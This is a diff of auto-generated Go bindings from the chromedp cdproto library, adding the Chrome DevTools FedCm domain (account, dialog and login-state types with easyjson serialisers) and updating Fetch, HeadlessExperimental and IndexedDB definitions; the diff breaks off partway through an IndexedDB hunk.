||||
out.DialogID = string(in.String())
|
||||
case "triggerCooldown":
|
||||
out.TriggerCooldown = bool(in.Bool())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm4(out *jwriter.Writer, in DismissDialogParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"dialogId\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.DialogID))
|
||||
}
|
||||
if in.TriggerCooldown {
|
||||
const prefix string = ",\"triggerCooldown\":"
|
||||
out.RawString(prefix)
|
||||
out.Bool(bool(in.TriggerCooldown))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v DismissDialogParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm4(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v DismissDialogParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm4(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *DismissDialogParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm4(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *DismissDialogParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm4(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm5(in *jlexer.Lexer, out *DisableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm5(out *jwriter.Writer, in DisableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v DisableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm5(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm5(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm5(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm5(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm6(in *jlexer.Lexer, out *ConfirmIdpLoginParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "dialogId":
|
||||
out.DialogID = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm6(out *jwriter.Writer, in ConfirmIdpLoginParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"dialogId\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.DialogID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v ConfirmIdpLoginParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm6(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v ConfirmIdpLoginParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm6(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *ConfirmIdpLoginParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm6(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *ConfirmIdpLoginParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm6(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm7(in *jlexer.Lexer, out *Account) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "accountId":
|
||||
out.AccountID = string(in.String())
|
||||
case "email":
|
||||
out.Email = string(in.String())
|
||||
case "name":
|
||||
out.Name = string(in.String())
|
||||
case "givenName":
|
||||
out.GivenName = string(in.String())
|
||||
case "pictureUrl":
|
||||
out.PictureURL = string(in.String())
|
||||
case "idpConfigUrl":
|
||||
out.IdpConfigURL = string(in.String())
|
||||
case "idpLoginUrl":
|
||||
out.IdpLoginURL = string(in.String())
|
||||
case "loginState":
|
||||
(out.LoginState).UnmarshalEasyJSON(in)
|
||||
case "termsOfServiceUrl":
|
||||
out.TermsOfServiceURL = string(in.String())
|
||||
case "privacyPolicyUrl":
|
||||
out.PrivacyPolicyURL = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm7(out *jwriter.Writer, in Account) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"accountId\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.AccountID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"email\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Email))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"name\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Name))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"givenName\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.GivenName))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"pictureUrl\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.PictureURL))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"idpConfigUrl\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.IdpConfigURL))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"idpLoginUrl\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.IdpLoginURL))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"loginState\":"
|
||||
out.RawString(prefix)
|
||||
(in.LoginState).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.TermsOfServiceURL != "" {
|
||||
const prefix string = ",\"termsOfServiceUrl\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.TermsOfServiceURL))
|
||||
}
|
||||
if in.PrivacyPolicyURL != "" {
|
||||
const prefix string = ",\"privacyPolicyUrl\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.PrivacyPolicyURL))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v Account) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm7(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v Account) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm7(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *Account) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm7(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *Account) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm7(l, v)
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
package fedcm
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventDialogShown [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/FedCm#event-dialogShown
|
||||
type EventDialogShown struct {
|
||||
DialogID string `json:"dialogId"`
|
||||
DialogType DialogType `json:"dialogType"`
|
||||
Accounts []*Account `json:"accounts"`
|
||||
Title string `json:"title"` // These exist primarily so that the caller can verify the RP context was used appropriately.
|
||||
Subtitle string `json:"subtitle,omitempty"`
|
||||
}
|
||||
+165
@@ -0,0 +1,165 @@
|
||||
// Package fedcm provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the FedCm domain.
|
||||
//
|
||||
// This domain allows interacting with the FedCM dialog.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package fedcm
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// EnableParams [no description].
|
||||
type EnableParams struct {
|
||||
DisableRejectionDelay bool `json:"disableRejectionDelay,omitempty"` // Allows callers to disable the promise rejection delay that would normally happen, if this is unimportant to what's being tested. (step 4 of https://fedidcg.github.io/FedCM/#browser-api-rp-sign-in)
|
||||
}
|
||||
|
||||
// Enable [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/FedCm#method-enable
|
||||
//
|
||||
// parameters:
|
||||
func Enable() *EnableParams {
|
||||
return &EnableParams{}
|
||||
}
|
||||
|
||||
// WithDisableRejectionDelay allows callers to disable the promise rejection
|
||||
// delay that would normally happen, if this is unimportant to what's being
|
||||
// tested. (step 4 of https://fedidcg.github.io/FedCM/#browser-api-rp-sign-in).
|
||||
func (p EnableParams) WithDisableRejectionDelay(disableRejectionDelay bool) *EnableParams {
|
||||
p.DisableRejectionDelay = disableRejectionDelay
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes FedCm.enable against the provided context.
|
||||
func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandEnable, p, nil)
|
||||
}
|
||||
|
||||
// DisableParams [no description].
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/FedCm#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes FedCm.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// SelectAccountParams [no description].
|
||||
type SelectAccountParams struct {
|
||||
DialogID string `json:"dialogId"`
|
||||
AccountIndex int64 `json:"accountIndex"`
|
||||
}
|
||||
|
||||
// SelectAccount [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/FedCm#method-selectAccount
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// dialogID
|
||||
// accountIndex
|
||||
func SelectAccount(dialogID string, accountIndex int64) *SelectAccountParams {
|
||||
return &SelectAccountParams{
|
||||
DialogID: dialogID,
|
||||
AccountIndex: accountIndex,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes FedCm.selectAccount against the provided context.
|
||||
func (p *SelectAccountParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSelectAccount, p, nil)
|
||||
}
|
||||
|
||||
// ConfirmIdpLoginParams only valid if the dialog type is ConfirmIdpLogin.
|
||||
// Acts as if the user had clicked the continue button.
|
||||
type ConfirmIdpLoginParams struct {
|
||||
DialogID string `json:"dialogId"`
|
||||
}
|
||||
|
||||
// ConfirmIdpLogin only valid if the dialog type is ConfirmIdpLogin. Acts as
|
||||
// if the user had clicked the continue button.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/FedCm#method-confirmIdpLogin
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// dialogID
|
||||
func ConfirmIdpLogin(dialogID string) *ConfirmIdpLoginParams {
|
||||
return &ConfirmIdpLoginParams{
|
||||
DialogID: dialogID,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes FedCm.confirmIdpLogin against the provided context.
|
||||
func (p *ConfirmIdpLoginParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandConfirmIdpLogin, p, nil)
|
||||
}
|
||||
|
||||
// DismissDialogParams [no description].
|
||||
type DismissDialogParams struct {
|
||||
DialogID string `json:"dialogId"`
|
||||
TriggerCooldown bool `json:"triggerCooldown,omitempty"`
|
||||
}
|
||||
|
||||
// DismissDialog [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/FedCm#method-dismissDialog
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// dialogID
|
||||
func DismissDialog(dialogID string) *DismissDialogParams {
|
||||
return &DismissDialogParams{
|
||||
DialogID: dialogID,
|
||||
}
|
||||
}
|
||||
|
||||
// WithTriggerCooldown [no description].
|
||||
func (p DismissDialogParams) WithTriggerCooldown(triggerCooldown bool) *DismissDialogParams {
|
||||
p.TriggerCooldown = triggerCooldown
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes FedCm.dismissDialog against the provided context.
|
||||
func (p *DismissDialogParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDismissDialog, p, nil)
|
||||
}
|
||||
|
||||
// ResetCooldownParams resets the cooldown time, if any, to allow the next
|
||||
// FedCM call to show a dialog even if one was recently dismissed by the user.
|
||||
type ResetCooldownParams struct{}
|
||||
|
||||
// ResetCooldown resets the cooldown time, if any, to allow the next FedCM
|
||||
// call to show a dialog even if one was recently dismissed by the user.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/FedCm#method-resetCooldown
|
||||
func ResetCooldown() *ResetCooldownParams {
|
||||
return &ResetCooldownParams{}
|
||||
}
|
||||
|
||||
// Do executes FedCm.resetCooldown against the provided context.
|
||||
func (p *ResetCooldownParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandResetCooldown, nil, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandEnable = "FedCm.enable"
|
||||
CommandDisable = "FedCm.disable"
|
||||
CommandSelectAccount = "FedCm.selectAccount"
|
||||
CommandConfirmIdpLogin = "FedCm.confirmIdpLogin"
|
||||
CommandDismissDialog = "FedCm.dismissDialog"
|
||||
CommandResetCooldown = "FedCm.resetCooldown"
|
||||
)
|
||||
+122
@@ -0,0 +1,122 @@
|
||||
package fedcm
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// LoginState whether this is a sign-up or sign-in action for this account,
|
||||
// i.e. whether this account has ever been used to sign in to this RP before.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/FedCm#type-LoginState
|
||||
type LoginState string
|
||||
|
||||
// String returns the LoginState as string value.
|
||||
func (t LoginState) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// LoginState values.
|
||||
const (
|
||||
LoginStateSignIn LoginState = "SignIn"
|
||||
LoginStateSignUp LoginState = "SignUp"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t LoginState) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t LoginState) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *LoginState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch LoginState(v) {
|
||||
case LoginStateSignIn:
|
||||
*t = LoginStateSignIn
|
||||
case LoginStateSignUp:
|
||||
*t = LoginStateSignUp
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown LoginState value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *LoginState) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// DialogType whether the dialog shown is an account chooser or an auto
|
||||
// re-authentication dialog.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/FedCm#type-DialogType
|
||||
type DialogType string
|
||||
|
||||
// String returns the DialogType as string value.
|
||||
func (t DialogType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// DialogType values.
|
||||
const (
|
||||
DialogTypeAccountChooser DialogType = "AccountChooser"
|
||||
DialogTypeAutoReauthn DialogType = "AutoReauthn"
|
||||
DialogTypeConfirmIdpLogin DialogType = "ConfirmIdpLogin"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t DialogType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t DialogType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DialogType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch DialogType(v) {
|
||||
case DialogTypeAccountChooser:
|
||||
*t = DialogTypeAccountChooser
|
||||
case DialogTypeAutoReauthn:
|
||||
*t = DialogTypeAutoReauthn
|
||||
case DialogTypeConfirmIdpLogin:
|
||||
*t = DialogTypeConfirmIdpLogin
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown DialogType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *DialogType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// Account corresponds to IdentityRequestAccount.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/FedCm#type-Account
|
||||
type Account struct {
|
||||
AccountID string `json:"accountId"`
|
||||
Email string `json:"email"`
|
||||
Name string `json:"name"`
|
||||
GivenName string `json:"givenName"`
|
||||
PictureURL string `json:"pictureUrl"`
|
||||
IdpConfigURL string `json:"idpConfigUrl"`
|
||||
IdpLoginURL string `json:"idpLoginUrl"`
|
||||
LoginState LoginState `json:"loginState"`
|
||||
TermsOfServiceURL string `json:"termsOfServiceUrl,omitempty"` // These two are only set if the loginState is signUp
|
||||
PrivacyPolicyURL string `json:"privacyPolicyUrl,omitempty"`
|
||||
}
|
||||
+6
-1
@@ -12,7 +12,12 @@ import (
|
||||
// with one of continueRequest, failRequest or fulfillRequest. The stage of the
|
||||
// request can be determined by presence of responseErrorReason and
|
||||
// responseStatusCode -- the request is at the response stage if either of these
|
||||
// fields is present and in the request stage otherwise.
|
||||
// fields is present and in the request stage otherwise. Redirect responses and
|
||||
// subsequent requests are reported similarly to regular responses and requests.
|
||||
// Redirect responses may be distinguished by the value of responseStatusCode
|
||||
// (which is one of 301, 302, 303, 307, 308) along with presence of the location
|
||||
// header. Requests resulting from a redirect will have redirectedRequestId
|
||||
// field set.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Fetch#event-requestPaused
|
||||
type EventRequestPaused struct {
|
||||
|
||||
+8
-2
@@ -316,7 +316,10 @@ func (p *ContinueResponseParams) Do(ctx context.Context) (err error) {
|
||||
// that is paused in the Response stage and is mutually exclusive with
|
||||
// takeResponseBodyForInterceptionAsStream. Calling other methods that affect
|
||||
// the request or disabling fetch domain before body is received results in an
|
||||
// undefined behavior.
|
||||
// undefined behavior. Note that the response body is not available for
|
||||
// redirects. Requests paused in the _redirect received_ state may be
|
||||
// differentiated by responseCode and presence of location response header, see
|
||||
// comments to requestPaused for details.
|
||||
type GetResponseBodyParams struct {
|
||||
RequestID RequestID `json:"requestId"` // Identifier for the intercepted request to get body for.
|
||||
}
|
||||
@@ -326,7 +329,10 @@ type GetResponseBodyParams struct {
|
||||
// is paused in the Response stage and is mutually exclusive with
|
||||
// takeResponseBodyForInterceptionAsStream. Calling other methods that affect
|
||||
// the request or disabling fetch domain before body is received results in an
|
||||
// undefined behavior.
|
||||
// undefined behavior. Note that the response body is not available for
|
||||
// redirects. Requests paused in the _redirect received_ state may be
|
||||
// differentiated by responseCode and presence of location response header, see
|
||||
// comments to requestPaused for details.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Fetch#method-getResponseBody
|
||||
//
|
||||
|
||||
+1
-1
@@ -15,7 +15,7 @@ import (
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/HeadlessExperimental#type-ScreenshotParams
|
||||
type ScreenshotParams struct {
|
||||
Format ScreenshotParamsFormat `json:"format,omitempty"` // Image compression format (defaults to png).
|
||||
Quality int64 `json:"quality,omitempty"` // Compression quality from range [0..100] (jpeg only).
|
||||
Quality int64 `json:"quality,omitempty"` // Compression quality from range [0..100] (jpeg and webp only).
|
||||
OptimizeForSpeed bool `json:"optimizeForSpeed,omitempty"` // Optimize image encoding for speed, not for resulting size (defaults to false)
|
||||
}
|
||||
|
||||
|
||||
+141
@@ -5,6 +5,7 @@ package indexeddb
|
||||
import (
|
||||
json "encoding/json"
|
||||
runtime "github.com/chromedp/cdproto/runtime"
|
||||
storage "github.com/chromedp/cdproto/storage"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
@@ -116,6 +117,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoIndexeddb1(in *jlexer.Lexer,
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "storageBucket":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.StorageBucket = nil
|
||||
} else {
|
||||
if out.StorageBucket == nil {
|
||||
out.StorageBucket = new(storage.Bucket)
|
||||
}
|
||||
(*out.StorageBucket).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "databaseName":
|
||||
out.DatabaseName = string(in.String())
|
||||
default:
|
||||
@@ -148,6 +159,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoIndexeddb1(out *jwriter.Write
|
||||
}
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
if in.StorageBucket != nil {
|
||||
const prefix string = ",\"storageBucket\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
(*in.StorageBucket).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"databaseName\":"
|
||||
if first {
|
||||
@@ -304,6 +325,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoIndexeddb3(in *jlexer.Lexer,
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "storageBucket":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.StorageBucket = nil
|
||||
} else {
|
||||
if out.StorageBucket == nil {
|
||||
out.StorageBucket = new(storage.Bucket)
|
||||
}
|
||||
(*out.StorageBucket).UnmarshalEasyJSON(in)
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -334,6 +365,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoIndexeddb3(out *jwriter.Write
|
||||
}
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
if in.StorageBucket != nil {
|
||||
const prefix string = ",\"storageBucket\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
(*in.StorageBucket).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
@@ -504,6 +545,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoIndexeddb5(in *jlexer.Lexer,
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "storageBucket":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.StorageBucket = nil
|
||||
} else {
|
||||
if out.StorageBucket == nil {
|
||||
out.StorageBucket = new(storage.Bucket)
|
||||
}
|
||||
(*out.StorageBucket).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "databaseName":
|
||||
out.DatabaseName = string(in.String())
|
||||
case "objectStoreName":
|
||||
@@ -554,6 +605,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoIndexeddb5(out *jwriter.Write
|
||||
}
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
if in.StorageBucket != nil {
|
||||
const prefix string = ",\"storageBucket\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
(*in.StorageBucket).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"databaseName\":"
|
||||
if first {
|
||||
@@ -1319,6 +1380,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoIndexeddb12(in *jlexer.Lexer,
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "storageBucket":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.StorageBucket = nil
|
||||
} else {
|
||||
if out.StorageBucket == nil {
|
||||
out.StorageBucket = new(storage.Bucket)
|
||||
}
|
||||
(*out.StorageBucket).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "databaseName":
|
||||
out.DatabaseName = string(in.String())
|
||||
case "objectStoreName":
|
||||
@@ -1353,6 +1424,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoIndexeddb12(out *jwriter.Writ
|
||||
}
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
if in.StorageBucket != nil {
|
||||
